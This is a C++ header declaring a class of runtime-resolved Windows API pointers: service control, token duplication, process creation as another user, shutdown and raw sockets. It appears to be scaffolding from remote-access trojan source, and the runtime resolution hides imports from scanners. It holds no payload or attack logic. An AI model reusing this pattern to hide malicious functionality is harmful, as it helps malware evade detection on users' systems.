2024-06-23 17:36:53 +08:00

188 lines
9.3 KiB
C++

// MyFunc.h: interface for the CMyFunc class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_MYFUNC_H__83A2E577_86D3_4EB7_B28B_53488F1A5464__INCLUDED_)
#define AFX_MYFUNC_H__83A2E577_86D3_4EB7_B28B_53488F1A5464__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <winsock2.h>
//Kernel32.dll
typedef DWORD (WINAPI *MyGetModuleFileNameA)(HMODULE ,LPSTR ,DWORD);
typedef BOOL (WINAPI *MyCreateProcessA)(LPCSTR , LPSTR , LPSECURITY_ATTRIBUTES , LPSECURITY_ATTRIBUTES , BOOL ,DWORD ,LPVOID , LPCSTR ,LPSTARTUPINFOA ,LPPROCESS_INFORMATION );
typedef HANDLE (WINAPI *MyCreateMutexA)(LPSECURITY_ATTRIBUTES,BOOL,LPCSTR);
typedef BOOL (WINAPI *MyReleaseMutex)(HANDLE);
typedef DWORD (WINAPI* MyGetLastError)( VOID );
typedef BOOL (WINAPI* MyCloseHandle)( IN OUT HANDLE hObject );
typedef VOID (WINAPI* MySleep)( IN DWORD dwMilliseconds );
typedef LPWSTR (WINAPI* MylstrcatA)( IN OUT LPSTR lpString1, IN LPCSTR lpString2 );
typedef DWORD (WINAPI* MyGetTickCount)( VOID );
typedef DWORD (WINAPI* MyWaitForSingleObject)( IN HANDLE hHandle, IN DWORD dwMilliseconds );
typedef DWORD (WINAPI* MyGetFileAttributesA)( IN LPCSTR lpFileName );
typedef HANDLE (WINAPI* MyCreateEventA)( IN LPSECURITY_ATTRIBUTES lpEventAttributes, IN BOOL bManualReset, IN BOOL bInitialState, IN LPCSTR lpName );
typedef BOOL (WINAPI* MyResetEvent)( IN HANDLE hEvent );
typedef BOOL (WINAPI* MyCancelIo)( IN HANDLE hFile );
typedef BOOL (WINAPI* MySetEvent)( IN HANDLE hEvent );
typedef BOOL (WINAPI *MyTerminateThread)(HANDLE ,DWORD);
typedef BOOL (WINAPI* MyGetVersionExA)(IN OUT LPOSVERSIONINFOA lpVersionInformation );
typedef BOOL (WINAPI *MyGetExitCodeProcess)(HANDLE ,LPDWORD);
typedef DWORD (WINAPI *MyExpandEnvironmentStringsA)(LPCSTR , LPSTR , DWORD );
typedef VOID (WINAPI *MyGetSystemInfo)(LPSYSTEM_INFO);
typedef UINT (WINAPI* MyGetSystemDirectoryA)( OUT LPSTR lpBuffer, IN UINT uSize );
typedef BOOL (WINAPI* MyMoveFileA)( IN LPCSTR lpExistingFileName, IN LPCSTR lpNewFileName );
typedef BOOL(WINAPI*MyMoveFileExA)(LPCSTR , LPCSTR , DWORD );
typedef DWORD (WINAPI *MyWTSGetActiveConsoleSessionId)(void);
typedef HANDLE (WINAPI* MyGetCurrentProcess)( VOID );
//ADVAPI32.dll
typedef BOOL (WINAPI* MySetServiceStatus)( SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus );
typedef SERVICE_STATUS_HANDLE (WINAPI* MyRegisterServiceCtrlHandlerA)( LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc );
typedef SC_HANDLE (WINAPI* MyOpenSCManagerA)( LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess );
typedef SC_HANDLE (WINAPI* MyOpenServiceA)( SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess );
typedef BOOL (WINAPI* MyStartServiceA)( SC_HANDLE hService, DWORD dwNumServiceArgs, LPCSTR *lpServiceArgVectors );
typedef BOOL (WINAPI* MyCloseServiceHandle)( SC_HANDLE hSCObject );
typedef BOOL (WINAPI *MyQueryServiceStatus)(SC_HANDLE,LPSERVICE_STATUS);
typedef BOOL (WINAPI* MyControlService)( SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus );
typedef SC_HANDLE (WINAPI* MyCreateServiceA)( SC_HANDLE hSCManager, LPCSTR lpServiceName, LPCSTR lpDisplayName, DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, LPCSTR lpPassword );
typedef BOOL (WINAPI* MyChangeServiceConfig2A)(SC_HANDLE hService, DWORD dwInfoLevel, LPVOID lpInfo);
typedef BOOL (WINAPI* MyDeleteService)( SC_HANDLE hService );
typedef BOOL (WINAPI* MyOpenProcessToken) ( IN HANDLE ProcessHandle, IN DWORD DesiredAccess, OUT PHANDLE TokenHandle );
typedef BOOL (WINAPI* MyDuplicateTokenEx)( IN HANDLE hExistingToken, IN DWORD dwDesiredAccess, IN LPSECURITY_ATTRIBUTES lpTokenAttributes, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN TOKEN_TYPE TokenType, OUT PHANDLE phNewToken);
typedef BOOL (WINAPI *MySetTokenInformation)(HANDLE,TOKEN_INFORMATION_CLASS,LPVOID,DWORD);
typedef BOOL (WINAPI* MyCreateProcessAsUserA) ( IN HANDLE hToken, IN LPCSTR lpApplicationName, IN LPSTR lpCommandLine, IN LPSECURITY_ATTRIBUTES lpProcessAttributes, IN LPSECURITY_ATTRIBUTES lpThreadAttributes, IN BOOL bInheritHandles, IN DWORD dwCreationFlags, IN LPVOID lpEnvironment, IN LPCSTR lpCurrentDirectory, IN LPSTARTUPINFOA lpStartupInfo, OUT LPPROCESS_INFORMATION lpProcessInformation );
//User32.dll
typedef int (WINAPI* MywsprintfA)( OUT LPSTR, IN LPCSTR, ...);
typedef BOOL (WINAPI *MyExitWindowsEx)(UINT,DWORD);
typedef int (WINAPI *MyMessageBox)(HWND,LPCSTR,LPCSTR,UINT);
typedef BOOL (WINAPI *MyIsWindowVisible)(HWND);
typedef LRESULT (WINAPI *MySendMessageA)(HWND,UINT,WPARAM,LPARAM);
typedef BOOL (WINAPI *MyEnumWindows)(WNDENUMPROC,LPARAM);
//MSVCRT.dll
typedef size_t (* Mystrlen)(const char *);
typedef int (* Mystrcmp)(const char *, const char *);
typedef void * (* Mymemcpy)(void *, const void *, size_t);
typedef void * (* Mymemset)(void *, int, size_t);
typedef char * (* Mystrstr)(const char *, const char *);
//ws2_32.dll
typedef int (WINAPI *MyWSAStartup)(WORD ,LPWSADATA );
typedef BOOL (WINAPI *MyWSACleanup)(void);
typedef int (WINAPI *Mysocket)(int af,int type,int protocol);
typedef hostent* (WINAPI *Mygethostbyname)(const char *name);
typedef int (WINAPI *Myhtons)(u_short hostshort);
typedef BOOL (WINAPI *Myconnect)(SOCKET s,const struct sockaddr *name,int namelen);
typedef int (WINAPI *Mysend)(SOCKET s,const char *buf,int len,int flags);
typedef int (WINAPI *Myrecv)(SOCKET s,char *buf,int len,int flags);
typedef BOOL (WINAPI *Myclosesocket)(SOCKET s);
typedef int (WINAPI *Mysetsockopt)(SOCKET s,int level,int optname,const char *optval,int optlen); ;
typedef BOOL (WINAPI *MyWSAIoctl)(SOCKET s,DWORD ,LPVOID ,DWORD ,LPVOID ,DWORD ,LPDWORD ,LPWSAOVERLAPPED ,LPWSAOVERLAPPED_COMPLETION_ROUTINE );
typedef int (WINAPI *Myselect)(int ,fd_set *,fd_set *,fd_set *,const struct timeval *);
typedef BOOL (WINAPI *Mygetsockname)(SOCKET s,struct sockaddr *name,int *namelen);
typedef int (WINAPI *Mygethostname)(char *name,int namelen);
class CMyFunc
{
public:
CMyFunc();
virtual ~CMyFunc();
BOOL bIsLoadIng;
public:
HMODULE hModule_Kernel32; //Kernel32.dll
HMODULE hModule_User32; //User32.dll
HMODULE hModule_ADVAPI32; //ADVAPI32.dll
HMODULE hModule_ws2_32; //ws2_32.dll
HMODULE hModule_MSVCRT; //MSVCRT.dll
HMODULE hModule_wininet; //wininet.dll
BOOL LoadMyData();
public:
//Kernel32.dll
MyCreateProcessA CreateProcess;
MyGetModuleFileNameA GetModuleFileName;
MyCreateMutexA CreateMutex;
MyReleaseMutex ReleaseMutex;
MyGetLastError GetLastError;
MyCloseHandle CloseHandle;
MySleep Sleep;
MylstrcatA lstrcatA;
MyGetTickCount GetTickCount;
MyWaitForSingleObject WaitForSingleObject;
MyGetFileAttributesA GetFileAttributes;
MyCreateEventA CreateEvent;
MyResetEvent ResetEvent;
MyCancelIo CancelIo;
MySetEvent SetEvent;
MyTerminateThread TerminateThread;
MyGetVersionExA GetVersionEx;
MyGetExitCodeProcess GetExitCodeProcess;
MyExpandEnvironmentStringsA ExpandEnvironmentStrings;
MyGetSystemInfo GetSystemInfo;
MyGetSystemDirectoryA GetSystemDirectory;
MyMoveFileA MoveFile;
MyMoveFileExA MoveFileEx;
MyWTSGetActiveConsoleSessionId WTSGetActiveConsoleSessionId;
MyGetCurrentProcess GetCurrentProcess;
//User32.dll
MywsprintfA wsprintfA;
MyExitWindowsEx ExitWindowsEx;
MyMessageBox MessageBox;
MyIsWindowVisible IsWindowVisible;
MySendMessageA SendMessage;
MyEnumWindows EnumWindows;
//ADVAPI32.dll
MySetServiceStatus SetServiceStatus;
MyRegisterServiceCtrlHandlerA RegisterServiceCtrlHandler;
MyOpenSCManagerA OpenSCManager;
MyOpenServiceA OpenService;
MyStartServiceA StartService;
MyCloseServiceHandle CloseServiceHandle;
MyQueryServiceStatus QueryServiceStatus;
MyControlService ControlService;
MyCreateServiceA CreateService;
MyChangeServiceConfig2A ChangeServiceConfig2;
MyDeleteService DeleteService;
MyOpenProcessToken OpenProcessToken;
MyDuplicateTokenEx DuplicateTokenEx;
MySetTokenInformation SetTokenInformation;
MyCreateProcessAsUserA CreateProcessAsUser;
//msvcrt.dll
Mystrcmp strcmp;
Mystrlen strlen;
Mymemcpy memcpy;
Mymemset memset;
Mystrstr strstr;
//ws2_32.dll
MyWSAStartup WSAStartup;
MyWSACleanup WSACleanup;
Mysocket socket;
Mygethostbyname gethostbyname;
Myhtons htons;
Myconnect connect;
Mysend send;
Myrecv recv;
Myclosesocket closesocket;
Mysetsockopt setsockopt;
MyWSAIoctl WSAIoctl;
Myselect select;
Mygetsockname getsockname;
Mygethostname gethostname;
};
extern CMyFunc m_gFunc;
#endif // !defined(AFX_MYFUNC_H__83A2E577_86D3_4EB7_B28B_53488F1A5464__INCLUDED_)